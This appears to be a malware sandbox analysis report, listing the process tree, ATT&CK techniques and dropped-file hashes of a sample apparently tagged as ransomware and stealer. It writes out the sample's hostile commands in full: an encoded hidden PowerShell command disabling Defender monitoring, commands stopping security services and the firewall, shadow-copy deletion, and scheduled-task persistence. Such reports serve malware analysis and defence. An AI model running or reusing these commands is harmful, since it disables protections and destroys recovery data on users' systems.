C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2968
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4936
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:3740
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4060
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:5024
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:3160
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:4100
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:832
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:916
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4948 -
C:\Users\Admin\AppData\Local\Temp\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe"3⤵PID:3608
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:5096
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:3116
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4116
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4692
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:3372
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5592
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5640
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:6104 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1672
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3928
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3500 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:316
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1280 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3408
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2212 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4136
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2904 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:2448 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:792
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1804 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:5240
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4100 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:440
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3900
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:5040
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:3440
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5548
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:5588
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:5680 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3372
-
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:5232
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:5772
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:5828
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:5696
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:3812
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4844
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵PID:3116
-
C:\Users\Admin\AppData\Local\Temp\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:5940
-
C:\Users\Admin\AppData\Local\Temp\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:6048
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:3852
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260520_135637.jpg
- Size 94KB
- SHA256 f90cb98ba3121334a613a5d8424b23a491255c30d1bd3e4403647a80a8b0dd46
- MD5 417ecc3e10e5d18ac70202c13fa79b41
- SHA1 a9276b2be3ef8a2b767be2243f4fe14cfa7013db
- SHA512 fa86af744441aa00725c9507578785f394ffc50f9381e0df0407eb66298eef8998d282cf42b5786ab1110e9cd125336e972d286c6ad9211d81db500c702bbdcf
- SSDEEP 1536:I1BCRRRRRRRRRRR1D1KFcX++QVXoBfVTqugS9OzL3G/awKBsH7raSTiQH:eUD1KFcX+lVXQftgSMvGSwKi3H
- TLSH T15893DA4788089B83A16883D8BE571FAD2F553E1CE99679EF04231ECB7A753764C4D02E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 65KB
- SHA256 3d34c7ec53a9582cbb3c5df794633c8c681c1da0f89ec3f61aa6c2ca5858512f
- MD5 09efecdd5849b0412a5b76c04f04bd10
- SHA1 ee91dd1916892457df8c7c1a2bc2ee35788d8288
- SHA512 f954766105e7f515751e054f52e2c3508c4b0ab13af97082aee809d56b2d8a0c6b23d77a8a167d3e8ccd7c3c27d61bee6a8087c153c37db2121d24cb53f735be
- SSDEEP 1536:BBUBmIIPnIhsNIV1zLRglzEeuIeVWhvuPBJA8ezplLRSku1uJBKYHBrCN:BBUBm3PnisARL4oeuIjduazplCInJpk
- TLSH T1BF633B368B23FCD4677B2D40E01438960C883E7B57B566BCFA810DEA28A5554DF2F5AC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 64KB
- SHA256 403bc42166fabae1bec7ff252cc5085941e1b526db41a964c390155784ac5b2d
- MD5 6207f23969da4c8f8e475795f64cc76f
- SHA1 c12954965607d6312df50dff28c8118138488c4d
- SHA512 a31b9507a105925698366047bd9e70084c9821c182e0adec3ffb01504332099702b71eb18bee3540cf83e986992db6d46b2276a8a1d954c22a4961542ad57d5d
- SSDEEP 1536:hBUBmIIPnIhsNIV1zLRglzEeuIeVWhvuPBJA8ezplLRSku1uJBKYHBrCs:hBUBm3PnisARL4oeuIjduazplCInJpn
- TLSH T1E6532B368B23FCD0677B2D80E01039560C883E7B9776667CFA810DEA2CA5554DF2E5AC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 666e9576bb8e39771b10cc2598c62b037b93baaf4e95b99525d18f39b6a58055
- MD5 be534d0b578550a9b5db244d1adb558c
- SHA1 9ec4f65c59db459091c46a8a8841ad0379295221
- SHA512 079d2ce039082a1c0d5167f195364045aead77dd3dd5f5937af9b76c67aa9dc133ce37bbfda62837b80884a39b8399aaff3a0ade71ca07b1a20f2c110a17b9b4
- TLSH T1F7E022BAC835A8670CF99B6DA5544B03E75413072F61481F3E3D824CCFB523A568682C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 264B
- SHA256 f8ba1d434431753347ec5541cdef4844006a719d95429d58e4b326986ae7c594
- MD5 203ff73cd6c3e4c5ca096c1aee34e0b0
- SHA1 12bfc565d0ee720c80bc0f2ec713833f5f2dc54d
- SHA512 8f1b91f628bdd1f7b5f8f5cf38af4dc11719c375b62e6afcd2f524138684a76a0f0265fe3482f98801fc2bd48388cd331a4752939f426049d57f338236ffbb80
- TLSH T1A6D012158EC15559CB26013680831C2979753D5827431FA351EE4E63477BFA247AA915
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\7995940a-81f4-47b9-aae4-d68cb5197f93.tmp
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 6KB
- SHA256 b801cb7ff76e8834fbefab7afd59226f552134fd13dedd96d45a7050fa18c087
- MD5 44be223ecad1715b5e97a09863e12469
- SHA1 fc2d798e08aa0c5993d0aab5963bd541f5db11d4
- SHA512 8f53494e6625a0edbf99a2b819f12f6cd4a6b2cac93b18bac6238fe42d4f06d3f72d2197722dcaf64c9dda3c7e2bdf4b92c18a47ca401831a2f6c493f269214c
- SSDEEP 192:D2ZheCgAKweLvoDMDfRDSKY22YLJR6la8l:D2PXgAKweLvoDMDfRDhY22YLJR6laI
- TLSH T1C6D17AF3C3E8C96D891152F4AB152A3BCF5D091853283D1BC9D9AF8BA3E68B0D20155F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 11KB
- SHA256 9c8581c9ed96c6571ada9001f03559e3f365c77bc559275a53906f4119250645
- MD5 697f6e832be5a62b3816bdb9e4ae8c50
- SHA1 eaba8aa7aeda47c6b843583082f01ac4ebdc8116
- SHA512 f0f1512b4936a8a849c91abcf0d78f3beecc048edf647d5aa1f60a8eadcc733a770493bfa0844a64c0f58034c70d065ae6ae45c3f15a8fb5a1c2c71e621f4ac5
- SSDEEP 192:CR+TP6sYAyLv7mpAPRp2rlz9EHsb+WNncO6Pr2TwewvVyIsnAUge:CR+TNwzaUXMawZC2GJe
- TLSH T13E42B52EB928663B6CCBD229FA257753D7F6102171D02E44EAFC8A2C15E75CC321741B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 17KB
- SHA256 78f2b9e9ebc08798880cb4679beee8aef2e584a4e9691c5edb1c0165ca1273af
- MD5 f3fb909317ed06709bfdddf6e293f823
- SHA1 f9840b19b75e8120807aa0784c1bde6154aba029
- SHA512 4bd189ef0e2f72445f5af07954ee4d6ebdcc450090a92b283a2c281a3cf530c9eff525dfd48ea12519fb7f49e455434598bbe11f388dcada8c12c9ada348e50c
- SSDEEP 384:7NjnO7KxkXqKf/pUZNCgVLH2HfgslOv7pLuLcSjZkXODnq+ErU3BHHGu/n0To:7NnO7KxkXqKf/pUZNCgVLH2Hfgs8v7pU
- TLSH T18172E9A76C4C9E370F94CACCDC1A7B4FADB6024B65E9886443FA582503D5ACF114A1FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 120B
- SHA256 76efb5a03012fa87a42d2240a1350c4c055e0e63c1b6fc54c7507325e272b05b
- MD5 9bb887580d5eeb0b10432d8d24b70117
- SHA1 f76e1aaa7575495b726980f7d54a4be27cbacfb3
- SHA512 68f7330dfb1625b4da9e6e015659092da129f73361cba34b83bb528ed4e0efee2844205ca33eceee149dde901c00727d75267bb0e0e226cfe7a21dac8ede2d89
- TLSH T1CDB012608042D643C01313F41142148872169F10970B170193F06F23D825351C128050
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58c493.TMP
- Size 96B
- SHA256 03b0e9edb3ad0060907f3bce7d9f5ccf1d26b40d298150fc31d8566d56013922
- MD5 b268b390f27b989e9ba4494d3a11c7a8
- SHA1 455cfb31fbf2a0fc51d479a448e579cffc046da5
- SHA512 3c48d02f2c651832e64f3f2c07147131c35f36b9a6394de27a28aff4121a383c8c77f920d3e4c63de5c034f5aeceb3d4a478b9f83438839e908cbe39bc2fe5b7
- TLSH T153B00295C217B612C05203F03DA9A9D8F164DF25D7531216A2E01F66ED297604565561
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 e832c2aa715be413166fbe39f76e2374c0781230b97f600c1ccda7af0f0b3598
- MD5 d9f710108ed13d2c244d169fd44e4a94
- SHA1 733ad81d24177114b34ab78200fb28614f11d6ec
- SHA512 edec0f159c010ef39f1aaadb71093b81639533522afd2b6f78c877ca8aba3a6378a63dee60867309b1230dbe6681c334386c787b7099d01fff4d9906e75bde03
- SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2O8zpX6uqpjVum0wkP:jeuvBnhJsueMEGvIW1DcP2OAyVum0nP
- TLSH T11BD3864B3A743002EDE59A721CE051BF5E3C716D8F55A5D428B620688EF2853B23E4BF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\WebStorage\4\IndexedDB\indexeddb.leveldb\CURRENT
- Size 16B
- SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
- MD5 46295cac801e5d4857d09837238a6394
- SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
- SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 228KB
- SHA256 c163eb7afab568a3f14945460c6b4979c9c5ec82e7071250edba6e7efaeb2233
- MD5 b2180164e637ae45499e4a809bc14e7a
- SHA1 af9c7a708b35ac9675a4a6f6fb1a3b8e40477f18
- SHA512 4e8f27fcbb40d0c0cd270eef0fc849bf34e2e9e966b04640f9ed9e3f0c2cc12b35bf90a6065ad694a751e0383b3d5f973b5a5e18a5a9d059c385afa59e0526d2
- SSDEEP 6144:RfMc2kMLz511jPlYm7Rkm1tYpBeh2BAod:RfS9z511jl79oBGcAod
- TLSH T1D4342337AC5A9C322C24BA6E528D1E6D1DF084E3C414ED2BC8DD9A087B457EE1E1ED74
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 227KB
- SHA256 ec0b3b11805cdd4638a0fbfe26e3a7c6c369ba3eb06d0bfb882ee7cc9d9b0697
- MD5 0a3965f0fb84dccfc1953497f92bb3cb
- SHA1 b9544ef2af473bd3762c93b92835de1aa0d8acf1
- SHA512 eb641f6cd110d90a6840abd268913bcc409988235aa34c19a1fe1d6f1c50a0ed535370d755645e57817f53684538018ecc4b6213a12d2df2c28c8fa1ba87cc92
- SSDEEP 6144:R5Mc2kMLz511jPlYm7Rkm1tYpBeh2BAod:R5S9z511jl79oBGcAod
- TLSH T139342237AC5A9C322914BA7F918D1EAD1AF088A3C010ED27C4DD9B087E557EF191ED78
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 116KB
- SHA256 4852e38b4b80b9c44ad50bd3ca41cfc945a7d3c046204cdb9a217ffe64905736
- MD5 3ce3b8daa20adbfa329715c7eea8ac17
- SHA1 42ee6914d38ae2b6a3f5f2ce2564d011d68b5b8e
- SHA512 647593695dbf8e0cd83d96f4c9783fcc9f0edc5418bf6ea1eb75bede9c1f4190aba7a7203924e734e5aeb333a727cf53b25167fb927ad93ea7cadba20e4db252
- SSDEEP 3072:+kGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMT:+Hm7Rkm1tYpBeh2BAoT
- TLSH T17AC3123B5DA4E9365DB9BB0EB08E0E1F1EF149A7C924DE92C8D85B0427E97CC1A05934
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 f3d6d9348ddf285d6d64c04832df617b14de16514cd20731e8c55e4f38e47394
- MD5 18c682f72ea212604d64873330bc8229
- SHA1 316336cf1ad65333e5602db6649ec831fe5ac827
- SHA512 f3afddd7dc2b2285bea4533ca78bc4487011271672bbfb05f1b5032b613ca0e66aa9b20ad4da09c9fb433e6a688ab656b4f59b36beffb8d244da65d156f5cf53
- SSDEEP 3072:J6Gm7D5Lk17ox1tIpud63U8BehbCBi9fTrMi:Jdm7Rkm1tYpBeh2BAoi
- TLSH T147C3123B5E74E9365C79BB4EB08E0B1F2EF149A6C920DA82C8D85B0477F97CC1905A74
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
- Size 660B
- SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
- MD5 284393596fdd49bebd7b861bf339b82d
- SHA1 a36767dfc423b3c7fd3ff439b616862743a053c8
- SHA512 8d3247ee0c3bf9a9fceea23eb5c646dbd8b3d954f4d62622f49070629e642d6a13bfb0d27949e2355c081d45f5a1101f05a9972782a0f0a478ed90f551d2efeb
- TLSH T1BD0144703376A0D889263F820C2E52C857BF433AA150AD18B998628DED3601B6B212E7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_figigahb.slu.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 309B
- SHA256 ec0d024d6b448d240b3d68174727e86e7559afe06f55ba46f5c28059a0ce4a81
- MD5 bee22928fc7d8c009b2da26621e9da09
- SHA1 589176c84b9d49b1257598b7135aadcff4d01f47
- SHA512 ce7f1f26c4e12aefd93cef99bc918c725eca691840ee1c372a43c9e380928429b295e867805a14c87d80d36f175b1b5e075b9f6f78e97d7a0413cf4a64e6ba98
- TLSH T19DE07D4BA1088AA500111137C2B28D0CE4E4652877177E2086E0CC4D3AD08C759F2442
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 310B
- SHA256 c3ccf593f02c9f19162a639acbd6bc21d57b945714e613e36bed2543f904e1ba
- MD5 00f00e6da914c9fc30b04912124772ef
- SHA1 1004b0e92c79c62c1cb72b7f7750e09fbb23296d
- SHA512 5e0cbd1bd0794d7953e9d6d7a8476f1c700eed2c0e4805bed614419a7f3bc35df2f3920f335c70acf5466809e5719ab20a0c2dc1de6502c3104b1fb73831407b
- TLSH T192E07D8BA1088AA500111137C1B38D0CE5E165287B277E2096A0CC4E3BC088759F2442
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 124KB
- SHA256 ee244639d742aec9a1ff11fe5e4ba5b5fe2398df1eb26dfa02c7e9ccae3884e5
- MD5 357badbccfae698ae499c63515724063
- SHA1 d854bd645d387ebb999aed4ade3b8f61a9ca2c27
- SHA512 03ca7c8346bedab31cb68936f7169dab2752a80b9d5637fe50e3fe47f8df7e5fc5ae0ab46b79c0cfbc4f7b121f0bbce47f2352d09fef7509bb354d233892ede5
- SSDEEP 1536:KOJw5h1/JudfP6BiAMb11ZthIAfHGQN7KVZxS8UU9Eg7E2PjL1VB766i:uF/JudfPciPpGMgLS8lR7H3VDi
- TLSH T1ECC32A50C6F3CE2B14965EEB091632C0A53DB7B1C6EC85FB21A7BE63F163D66C209245
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 125KB
- SHA256 6dabdae0686d79d37ba479fcbf4a31d4c239b9def5b9dbf0b01b7038d21c077e
- MD5 737a580e6434833e32ff75286b8c83ff
- SHA1 f9eb1364b4eed0e64a78d8d9dd3a215220ff9484
- SHA512 48625d3f39fca6c3d6f8b8975d07c3106a342e17926ac40da5088b9c5f4346a2b6f8d022adce0ac2f655d55017857ffdc9413032014f168c57244729790b2a69
- SSDEEP 1536:eOJw5h1/JudfP6BiAMb11ZthIAfHGQN7KVZxS8UU9Eg7E2PjL1VB76p+:CF/JudfPciPpGMgLS8lR7H3VE+
- TLSH T1ADC32A50C6F3CE2B14965EEB091632C0A53DB7B1C6EC85FB21A7BE63F163D66C209245
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 48KB
- SHA256 7fbba4b96ff111bad7a4f4320dd8e76f8d1f19b7e9d873293646fb74e4a45809
- MD5 f97820c4eac595be9ddae21f8f51813e
- SHA1 887c6cc801aca270c49d6795b6cc88893bc8dc24
- SHA512 d6339b2b48ed8df26d5dba4ade87030f242e977202de71e15ee9b7b754b166401741c9da9130769d1f692abdd6fe70ea6ae2a5cfc5dd0de095e3cab5769371cd
- SSDEEP 768:ShB/V87W8s+Nsdy8PXfrwJ4x//w4lC1XXGblfA02KFcK:SBe7pNsdtf7xQ4lEXGblf92ucK
- TLSH T1D223F50477F88151F2BF9ABA8DB186119B31B8979C22D78E06D505CE1AB2740CDA8F73
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
- MD5 20c351356d10acf150d790bfa940d4ca
- SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
- SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
- TLSH T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
- MD5 SHA1 SHA512 TLSH
